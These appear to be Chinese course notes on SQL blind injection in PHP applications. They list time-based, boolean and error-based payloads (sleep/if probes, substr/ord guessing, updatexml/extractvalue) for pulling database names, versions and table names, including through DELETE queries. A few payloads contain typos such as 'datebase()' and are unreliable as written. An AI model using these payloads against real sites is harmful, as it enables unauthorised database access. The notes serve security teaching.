第44天：WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

#1、功能：数据查询
查询：
SELECT * FROM news where id=$id

#2、功能：新增用户，添加新闻等
增加：
INSERT INTO news (字段名) VALUES (数据)

#3、功能：删除用户，删除新闻等
删除：
DELETE FROM news WHERE id=$id

#4、功能：修改用户，修改文章等
修改：
UPDATE news SET id=$id

and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
and if(length(database())=7,sleep(10),0);
and if(and left(database(),2)='pi',sleep(10),0);

and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and updatexml(1,concat(0x7e,(SELECT datebase()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

like 'ro%'            #判断ro或ro...是否成立 

regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等

if(条件,5,0)          #条件成立 返回5 反之 返回0

sleep(5)              #SQL语句延时执行5秒

mid(a,b,c)            #从位置b开始，截取a字符串的c位

substr(a,b,c)         #从位置b开始，截取字符串a的c长度

left(database(),1)，database() #left(a,b)从左侧截取a的前b位

length(database())=8  #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

#基于延时：都不需要
and if(1=1,sleep(5),0)

#基于布尔：有数据库输出判断标准（数据回显）
and length(database())=6

#基于报错：有数据库报错处理判断标准（容错处理）
注：代码中有`or die(mysqli_error($con));`会报错回显

and updatexml(1,concat(0x7e,(SELECT @@version()),0x7e),1)
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

#测试delete注入：（有无回显，有无报错）

删除（延迟）：1 and/or if(1=1,sleep(5),0)

删除（布尔）：3 and length(database())=6（无回显 无法判断注入）

删除（报错）：4 and updatexml(1,concat(0x7e,(SELECT version),0x7e),1)

and if(1=1,sleep(5),0)

or if(1=1,sleep(5),0)

or if(ord(left(database(),1))=107,sleep(2),0)